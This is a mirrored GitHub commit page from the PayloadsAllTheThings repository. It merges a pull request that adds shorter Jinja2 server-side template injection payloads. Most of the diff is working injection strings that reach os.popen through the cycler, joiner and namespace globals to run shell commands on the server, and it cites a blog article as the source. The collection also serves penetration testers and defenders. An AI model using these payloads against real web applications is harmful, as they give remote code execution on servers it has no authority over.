mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2025-01-31 07:27:25 +00:00
Merge pull request #421 from p0dalirius/master
Added shorter payloads for Server Side Template injections in jinja2
This commit is contained in:
commit
b3d31e45e5
@ -503,14 +503,20 @@ These payloads are context-free, and do not require anything, except being in a
|
|||||||
|
|
||||||
```python
|
```python
|
||||||
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
|
||||||
|
|
||||||
```python
|
|
||||||
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
|
|
||||||
|
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
We can use these shorter payloads (this is the shorter payloads known yet):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
|
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
||||||
|
|
||||||
|
{{ joiner.__init__.__globals__.os.popen('id').read() }}
|
||||||
|
|
||||||
|
{{ namespace.__init__.__globals__.os.popen('id').read() }}
|
||||||
```
|
```
|
||||||
|
|
||||||
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
|
Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/
|
||||||
|
Loading…
Reference in New Issue
Block a user